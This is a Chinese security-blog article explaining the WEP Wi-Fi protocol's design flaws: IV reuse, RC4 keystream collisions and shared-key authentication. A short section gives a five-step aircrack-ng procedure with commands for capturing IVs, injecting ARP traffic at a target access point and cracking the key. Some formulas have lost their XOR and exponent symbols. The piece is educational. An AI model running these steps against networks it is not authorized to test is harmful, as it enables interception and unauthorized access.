WEP协议安全解析:设计缺陷与破解原理

admin 2025年5月30日11:48:06评论2 views字数 3046阅读10分9秒阅读模式

上一篇文章讲的是20年前的互联网是多么的不安全,并在其中提到了WEP协议,这项协议虽然早已不被各大厂商所使用,甚至很多安全人员也早已不再注意到这个协议,但笔者想借助这个协议的背景、原理、机制和破解来说明,即便是全球性的组织,即便是汇聚了众多顶级的专家,当安全意识和安全设计不被大家所重视的时候,其设计的产物也会存在非常薄弱的安全问题。事实上,每当新的一项革新性技术诞生的时候,其创始者几乎都是从功能角度设计和制作,而忽视了安全,因此安全永远是滞后的。

一、WEP协议简介与历史背景

WEP,全称为 Wired Equivalent Privacy(有线对等加密),是1997年随IEEE 802.11无线局域网标准一起推出的加密机制。设计初衷是为无线通信提供如同以太网(Ethernet)那样的保密性和安全性,防止无线数据在空中被截获和篡改。

WEP最初支持64位密钥(后扩展为128位),在当时被广泛部署,是家庭与企业无线网络的默认加密方式。WEP所使用的密钥输入通常为10位(WEP-64)或26位(WEP-128)的十六进制字符串,分别代表40位或104位的密钥,与24位IV(Initialization Vector)组合,形成RC4的加密密钥。

然而,WEP协议在2001年被公开发现存在致命设计缺陷,引发了安全研究者的高度关注。至2003年,WiFi联盟正式宣布弃用WEP,转而推广更安全的WPA(Wi-Fi Protected Access)协议。尽管如此,部分旧设备至今仍支持WEP,为攻击者提供了可乘之机。

WEP 是在 WPA 标准之前制造的 802.11a 和 802.11b 设备唯一可用的加密协议,而 WPA 标准则适用于 802.11g 设备。

二、WEP的加密机制与安全缺陷

WEP使用的是流加密算法RC4和完整性校验算法CRC-32。

标准的64位WEP算法使用40位密钥(也称为 WEP-40),该密钥与24位初始化向量(IV)连接形成RC4密钥流,其中,40位密钥通常以10个十六进制字符(0-9 和 A-F)的字符串形式输入,每个字符是4个比特,加上24位初始化向量(IV)即为完整的64位WEP密钥(4 位 × 10 + 24 位 IV = 64 位 WEP 密钥)。

假设配置的密钥是k,明文是m,明文消息加密的过程如下:

  1. 使用CRC32算法生成明文m的校验和CRC(m),并附在明文m之后形成明文p=<m,CRC(m)>
  2. 对于每次传输的数据帧,生成随机的初始向量IVv),使用密钥kv的组合作为RC4加密算法的密钥和待加密字符串,生成密钥流KS=RC4(v,k)
  3. 然后,将第2步中的明文p与第3步中的密钥流KS进行异或(XOR)操作,获得密文c=pKS
  4. 为了能够让接收者(接入点)解密密文c,发送者(客户端)会同时发送初始向量IVv),即最终发送的数据帧f=<v,c>
  5. 接收者收到数据帧f后,使用密钥k、初始向量v采用第2步的过程获得密钥流KS,再通过与密文c的异或(XOR)操作获得明文p=<m,CRC(m)>,最后就可以通过CRC(m)校验明文信息的完整性了。

我们笼统的将上述的过程称为发送的数据帧f=mk,那么攻击者在获得两个数据帧f1f2之后,可以得到:

f1f2=(m1k1)(m2k2)=m1m2

上述公式成立的前提是k1k2相同,在这种情况下可以通过试错法获得m1m2,因此k1k2应当是不能一致的,也就是IV是不能一致的,但实际上,数据帧发送中常常使用相同的IV,因此会产生IV碰撞的问题。

由于IV的长度是24bitIV的可能性总量是224个,这种情况下便存在生日攻击或生日悖论,即23个人就有一半以上的概率至少有两个人生日相同,或者在足够多数量数据帧的情况下会存在两个IV相同的情况。针对224的总量,总共需要发送5793个数据帧就会遇到相同的IV

由于RC4是一种流密码,因此同一通信密钥绝不能使用两次,IV的目的就是为了防止密钥的重复,而IEEE 802.11标准中没有说明IV的生成方式,因此24位IV的长度不足,加之数据传输过程中数据帧通常不更换IV,导致WEP容易受到相关密钥的攻击。对于24位的IV,在5000个数据包之后,相同IV重复出现的概率为50%,因此超过10000个数据包便很容易破解WEP的密钥。

三、WEP认证机制分析

WEP有两种认证方法,分别是开放系统认证共享密钥认证

在开放系统验证中,WLAN客户端在验证过程中不会向接入点提供凭据。任何客户端都可以与接入点进行身份验证,然后尝试关联。实际上,这种方法不进行任何身份验证。随后,WEP密钥可用于加密数据帧,这时客户端必须拥有正确的密钥。

在共享密钥身份验证中,WEP密钥用于四步挑战-响应(challenge-response)握手过程中的身份验证:

  1. 客户端向无线接入点发送验证请求;
  2. 无线接入点回复一个128比特的随机明文挑战(challenge);
  3. 客户端配置的WEP密钥(secret key)和IV连接作为密钥,使用RC4加密算法对挑战明文(及校验和)进行加密,并将其发回接入点。
  4. 无线接入点会对发来的密文进行解密,如果与挑战相符,接入点就会发回认证成功的回复。

在验证和关联之后没有密钥交换,而是继续使用WEP密钥和RC4算法对数据帧进行加密进行客户端与无线接入点的通信。

四、WEP密码破解方法与实战流程

根据上面的WEP加密的安全机制缺陷,我们可以很轻易看出,破解WEP的核心在于 获取足够数量的含有IV的数据包。

当然,现在使用Airmon-ng工具包对WEP无线网络进行破解会非常简单,只需要五步:

1、启动无线网卡的监听模式:

airmon-ng start wlan0

2、监听周边的无线热点信息,获得目标无线热点信息:

airodump-ng wlan0mon

3、抓取目标无线热点的IVS数据:

airodump-ng --bssid [target-bssid] -c [channel] --ivs -w [ivs-file] wlan0mon

4、在第3步之后,同时执行ARP流量注入,其中-3表示ARP注入攻击:

aireplay-ng -3 -b [AP_MAC] -h [client_MAC] wlan0mon

5、当第4步获取的IVS数据超过10000条之后,便可以进行密码破解:

aircrack-ng[ivs-file.ivs]

上面的方法仅需数分钟至十余分钟,便可成功恢复WEP密钥,攻击者即可伪装接入点、监听通信或发起中间人攻击。

五、WEP的终结与启示

WEP协议从安全角度完全是一个失败的设计,但也是一个深刻的安全设计的反面教材,至少它能体现了以下三点经验:

  1. 加密算法强度不足以弥补协议层设计缺陷,单靠加密算法的使用并不能解决安全问题;
  2. IV空间过小且未标准化管理是灾难的根源,设计和实现之间存在巨大的鸿沟;
  3. 密钥管理与更新机制缺失使得WEP无法应对长期使用带来的暴露风险。

正因如此,WPA/WPA2引入了TKIP/CCMP、四次握手、EAP身份验证等机制,对WEP的缺陷做了全面弥补。

另外,尽管WEP已被废弃,但在无线安全演练与CTF竞赛中,WEP破解依旧是一项基础技能。通过理解WEP协议的设计、实现与破解机制,我们可以更深刻体会到“安全不是加法,而是短板效应”的含义。对于设计安全协议而言,攻击者永远不会假设你不会出错——他们只会等待你暴露一个小小的漏洞。

原文始发于微信公众号(洞源实验室):WEP协议安全解析:设计缺陷与破解原理

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月30日11:48:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEP协议安全解析:设计缺陷与破解原理http://cn-sec.com/archives/4113801.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息